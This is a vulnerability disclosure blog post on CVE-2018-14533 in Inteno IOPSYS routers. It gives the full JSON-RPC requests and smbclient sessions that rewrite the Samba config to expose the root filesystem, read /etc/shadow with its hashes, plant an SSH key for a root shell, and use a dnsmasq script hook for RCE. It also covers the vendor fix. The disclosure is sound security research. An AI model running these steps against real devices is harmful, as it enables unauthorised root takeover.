In this blog post, I describe how multiple safe features and configurations can be used to gain full filesystem read-write access - and a root shell - on devices running Inteno’s IOPSYS as an authenticated user. This issue has been assigned the CVE ID: CVE-2018-14533.

I’ve written reports for vulnerabilities on Inteno’s devices before (1, 2, 3, 4). I recommend reading the first post as it describes how one can call functions on the router - including ones which may not be listed in the admin panel.

This time, I tried having a look at the “safe” methods to read and write files from and to /tmp . These functions exist in the file namespace and are called read_tmp and write_tmp . There used to be functions simply named read and write as well, however, after I demonstrated that these are insecure as they grant full access to the filesystem, they were restricted to the admin user and these new ones were created so the user account could still write and read some files.

Here’s how some example usage might look like:

> { "jsonrpc" : "2.0" , "method" : "call" , "params" : [ "0123456789abcdef0123456789abcdef" , "file" , "write_tmp" , { "path" : "/tmp/test" , "data" : "hello" }], "id" : "0" } < { "jsonrpc" : "2.0" , "id" : "0" , "result" : [ 0 ]} > { "jsonrpc" : "2.0" , "method" : "call" , "params" : [ "0123456789abcdef0123456789abcdef" , "file" , "read_tmp" , { "path" : "/tmp/test" }], "id" : "1" } < { "jsonrpc" : "2.0" , "id" : "1" , "result" : [ 0 , { "data" : "hello" }]}

They are “safe” as you can’t use them to read-write anywhere but /tmp , are secure against path traversal, etc. There’s nothing necessarily wrong with these functions - the vulnerability only occurs because of a peculiarity of OpenWRT/LEDE, on which IOPSYS is based.

To describe this shortly: Do you see something irregular in the output of ls -l / on the device?

root@Inteno:~# ls -l / -rw-rw-r-- 1 root root 0 May 22 15:51 base-iopsys drwxr-xr-x 3 root root 4376 May 22 20:19 bin drwxr-xr-x 5 root root 6000 May 22 20:21 dev drwxr-xr-x 1 root root 1808 May 22 20:22 etc drwxr-xr-x 3 root root 224 Jun 18 21:19 home drwxr-xr-x 1 root root 224 May 22 20:21 lib drwxrwxrwt 2 root root 40 Jan 1 1970 mnt drwxr-xr-x 7 root root 480 Jun 18 21:19 overlay dr-xr-xr-x 116 root root 0 Jan 1 1970 proc drwxrwxr-x 16 support 1002 1192 Jan 1 1970 rom drwxr-xr-x 2 root root 160 May 22 19:37 root drwxr-xr-x 2 root root 6304 May 22 20:19 sbin dr-xr-xr-x 12 root root 0 Jan 1 1970 sys drwxrwxrwt 29 root root 1220 Jul 21 15:22 tmp drwxr-xr-x 1 root root 288 May 22 20:18 usr lrwxrwxrwx 1 root root 4 May 22 20:19 var -> /tmp drwxr-xr-x 1 root root 296 May 22 20:22 www

If you spotted it, you might already know where this is going.

OpenWRT devices are usually quite low on storage. The operating system is stored in non-volatile memory, usually on a filesystem with just enough space to fit the operating system, and /tmp is stored as a tmpfs filesystem, which is volatile (i.e. stored on RAM). For reasons, /var is symlinked to /tmp . This means that everything created in /var gets dumped to /tmp - same for reading files. Evidently, some configuration files are also stored in /var . An example of this is the Samba daemon, which lets the user create shares on the device using the admin panel.

The Samba configuration itself is stored as /tmp/etc/smb.conf . We can read this using file:read_tmp :

> { "jsonrpc" : "2.0" , "method" : "call" , "params" : [ "0123456789abcdef0123456789abcdef" , "file" , "read_tmp" , { "path" : "/tmp/etc/smb.conf" }], "id" : "2" } < { "jsonrpc" : "2.0" , "id" : "2" , "result" : [ 0 , { "data" : "[global]

\t netbios name = IntenoSMB

\t workgroup = IntenoSMB

\t server string = IntenoSMB

\t syslog = 10

\t encrypt passwords = true

\t passdb backend = smbpasswd

\t obey pam restrictions = yes

\t socket options = TCP_NODELAY

\t unix charset = UTF-8

\t preferred master = yes

\t os level = 20

\t security = user

\t guest account = nobody

\t invalid users = root

\t smb passwd file = \/ etc \/ samba \/ smbpasswd

\t interfaces =

\t bind interfaces only = yes

\t wide links = no

" }]}

We can see that the configuration looks like this by default:

[global] netbios name = IntenoSMB workgroup = IntenoSMB server string = IntenoSMB syslog = 10 encrypt passwords = true passdb backend = smbpasswd obey pam restrictions = yes socket options = TCP_NODELAY unix charset = UTF-8 preferred master = yes os level = 20 security = user guest account = nobody invalid users = root smb passwd file = /etc/samba/smbpasswd interfaces = bind interfaces only = yes wide links = no

If we tell Samba to listen on an interface (essentially enabling it) and adding an “Example” share with guest access, the configuration looks like this:

[global] netbios name = IntenoSMB workgroup = IntenoSMB server string = IntenoSMB syslog = 10 encrypt passwords = true passdb backend = smbpasswd obey pam restrictions = yes socket options = TCP_NODELAY unix charset = UTF-8 preferred master = yes os level = 20 security = user guest account = nobody invalid users = root smb passwd file = /etc/samba/smbpasswd interfaces = 192.168.1.1/24 br-lan bind interfaces only = yes wide links = no [Example] path = /mnt read only = no guest ok = yes create mask = 0700 directory mask = 0700

We can connect to our new share using smbclient :

$ smbclient //192.168.1.1/Example -U% Try "help" to get a list of possible commands. smb: \> ls . D 0 Thu Jan 1 03:00:11 1970 .. D 0 Mon Jun 18 22:19:01 2018 64 blocks of size 1024. 64 blocks available

Let’s see what happens if we change the configuration file to add our own share with the path set to / :

> { "jsonrpc" : "2.0" , "method" : "call" , "params" : [ "0123456789abcdef0123456789abcdef" , "file" , "write_tmp" , { "path" : "/tmp/etc/smb.conf" , "data" : "[global]

\t netbios name = IntenoSMB

\t workgroup = IntenoSMB

\t server string = IntenoSMB

\t syslog = 10

\t encrypt passwords = true

\t passdb backend = smbpasswd

\t obey pam restrictions = yes

\t socket options = TCP_NODELAY

\t unix charset = UTF-8

\t preferred master = yes

\t os level = 20

\t security = user

\t guest account = nobody

\t invalid users = root

\t smb passwd file = \/ etc \/ samba \/ smbpasswd

\t interfaces = 192.168.1.1/24 br-lan

\t bind interfaces only = yes

\t wide links = no



[pwn]

\t path = /

\t read only = no

\t guest ok = yes

\t create mask = 0700

\t directory mask = 0700" }], "id" : "3" } < < { "jsonrpc" : "2.0" , "id" : "3" , "result" : [ 0 ]}

If we try connecting to the share and doing ls :

$ smbclient //192.168.1.1/pwn -U% Try "help" to get a list of possible commands. smb: \> ls . D 0 Mon Jun 18 22:19:01 2018 .. D 0 Mon Jun 18 22:19:01 2018 bin D 0 Tue May 22 21:19:35 2018 dev D 0 Sat Jul 7 15:42:58 2018 etc D 0 Sat Jul 7 15:42:58 2018 lib D 0 Tue May 22 21:21:51 2018 mnt D 0 Thu Jan 1 03:00:11 1970 rom D 0 Thu Jan 1 03:00:05 1970 tmp D 0 Sat Jul 21 17:32:38 2018 sys DR 0 Thu Jan 1 03:00:02 1970 var D 0 Sat Jul 21 17:32:38 2018 usr D 0 Tue May 22 21:18:15 2018 www D 0 Sat Jul 7 15:43:10 2018 proc DR 0 Thu Jan 1 03:00:00 1970 sbin D 0 Tue May 22 21:19:36 2018 root D 0 Tue May 22 20:37:56 2018 base-iopsys N 0 Tue May 22 16:51:41 2018 overlay D 0 Mon Jun 18 22:19:01 2018 home D 0 Mon Jun 18 22:19:01 2018 49084 blocks of size 1024. 16592 blocks available

Great! We can see the directory listing. Can we read sensitive files, like /etc/shadow ?

smb: \> get /etc/shadow - NT_STATUS_ACCESS_DENIED opening remote file \etc\shadow

The access is denied. Upon further inspection of the configuration file, this makes sense - we’re connecting as the guest user and the config file has the following set:

guest account = nobody invalid users = root

What if we modify the config to set the guest account to root and remove the invalid users line?

> { "jsonrpc" : "2.0" , "method" : "call" , "params" : [ "0123456789abcdef0123456789abcdef" , "file" , "write_tmp" , { "path" : "/tmp/etc/smb.conf" , "data" : "[global]

\t netbios name = IntenoSMB

\t workgroup = IntenoSMB

\t server string = IntenoSMB

\t syslog = 10

\t encrypt passwords = true

\t passdb backend = smbpasswd

\t obey pam restrictions = yes

\t socket options = TCP_NODELAY

\t unix charset = UTF-8

\t preferred master = yes

\t os level = 20

\t security = user

\t guest account = root

\t smb passwd file = \/ etc \/ samba \/ smbpasswd

\t interfaces = 192.168.1.1/24 br-lan

\t bind interfaces only = yes

\t wide links = no



[pwn]

\t path = /

\t read only = no

\t guest ok = yes

\t create mask = 0700

\t directory mask = 0700" }], "id" : "4" } < { "jsonrpc" : "2.0" , "id" : "4" , "result" : [ 0 ]}

Reconnecting and trying again:

$ smbclient //192.168.1.1/pwn -U% Try "help" to get a list of possible commands. smb: \> get /etc/shadow - NT_STATUS_ACCESS_DENIED opening remote file \etc\shadow

Still not working. Seems like the daemon doesn’t want to let the guests connect as root, which is expected. However, the Samba configuration documentation lists an interesting configuration option you can set on shares:

force user (S) This specifies a UNIX user name that will be assigned as the default user for all users connecting to this service. This is useful for sharing files. You should also use it carefully as using it incorrectly can cause security problems.

So let’s modify the config once more to force all connecting users to log in as root:

> { "jsonrpc" : "2.0" , "method" : "call" , "params" : [ "0123456789abcdef0123456789abcdef" , "file" , "write_tmp" , { "path" : "/tmp/etc/smb.conf" , "data" : "[global]

\t netbios name = IntenoSMB

\t workgroup = IntenoSMB

\t server string = IntenoSMB

\t syslog = 10

\t encrypt passwords = true

\t passdb backend = smbpasswd

\t obey pam restrictions = yes

\t socket options = TCP_NODELAY

\t unix charset = UTF-8

\t preferred master = yes

\t os level = 20

\t security = user

\t guest account = root

\t smb passwd file = \/ etc \/ samba \/ smbpasswd

\t interfaces = 192.168.1.1/24 br-lan

\t bind interfaces only = yes

\t wide links = no



[pwn]

\t path = /

\t read only = no

\t guest ok = yes

\t create mask = 0700

\t directory mask = 0700

\t force user = root" }], "id" : "5" } < { "jsonrpc" : "2.0" , "id" : "5" , "result" : [ 0 ]}

smbclient //192.168.1.1/pwn -U% Try "help" to get a list of possible commands. smb: \> get /etc/shadow - root:$1$hixkj06D$465iCCMxkKbE6OW9NbcOV1:0:0:99999:7::: daemon:*:0:0:99999:7::: ftp:*:0:0:99999:7::: network:*:0:0:99999:7::: nobody:*:0:0:99999:7::: admin:$1$w5plvxdZ$BtjmHfRk9wraLxKP3ufpV1:16570:0:99999:7::: user:$1$pO./q6.f$E514ioZkW9si4WaUMvBfW/:16570:0:99999:7::: support:$1$zUDyoAfn$nv/bvwS3Wl8MsDu98gsqi0:16570:0:99999:7::: ice:$1$trxjeBww$BQBpPZjKX9JizO9bzZrl41:17673:0:99999:7::: getting file \etc\shadow of size 388 as - (31.6 KiloBytes/sec) (average 31.6 KiloBytes/sec)

Looks like we can read /etc/shadow now, indicating that we have full access to the filesystem as root.

We can do pretty much everything now. As an easy example, we can drop an SSH key on the device and SSH in as root:

smb: \> put /home/neonsea/.ssh/id_dsa.pub /etc/dropbear/authorized_keys putting file /home/neonsea/.ssh/id_dsa.pub as \etc\dropbear\authorized_keys (41.3 kb/s) (average 41.3 kb/s) smb: \> ^C $ ssh root@192.168.1.1 BusyBox v1.23.2 (2018-05-22 19:37:59 CEST) built-in shell (ash) ________ ___ ______ ______ / _/ __ \/ _ \/ __/\ \/ / __/ _/ // /_/ / ___/\ \ \ /\ \ /___/\____/_/ /___/ /_/___/ Inteno Open Platform System (IOPSYS) IOP Version: DG400-WU7U_INT3.15.1BETA2-180522_2021 OpenWrt Base: Chaos Breaker (14.07/15.05) BrcmRef Base: 4.16L.05 ------------------------------------ root@Inteno:~#

Of course, abusing the Samba configuration is just one way to exploit this vulnerability. The vulnerability can be used for other attacks as well - for example, you can include dhcp-script=/tmp/evil_script.sh in /tmp/etc/dnsmasq.conf for RCE as root, or cause DoS attacks by malforming important PID and lock files, among other things.

How can this be fixed? The obvious fix is to not let the user write to anywhere on the filesystem - however, this would break features that depend on this functionality, so that’s not very practical. If writing to the filesystem is still important, how about limiting it to a directory in /tmp (for example /tmp/userfiles ) and restricting access to that directory? That would ensure that the user doesn’t have access to any additional, potentially dangerous files. UPDATE: The vendor has applied a fix, and all files are now stored in /tmp/juci . Furthermore, the names of the calls were changed from read_tmp and write_tmp to read_tmp_juci and write_tmp_juci respectively.

I’ve also written a proof of concept script in Python, which you can find below. It requires Python 3, a module called websocket-client which you can install by evoking pip install websocket-client and the Unix tool smbclient . First comment details usage instructions. As always, this exploit can be found on the inteno-exploits repository alongside other exploits I’ve written for IOPSYS devices.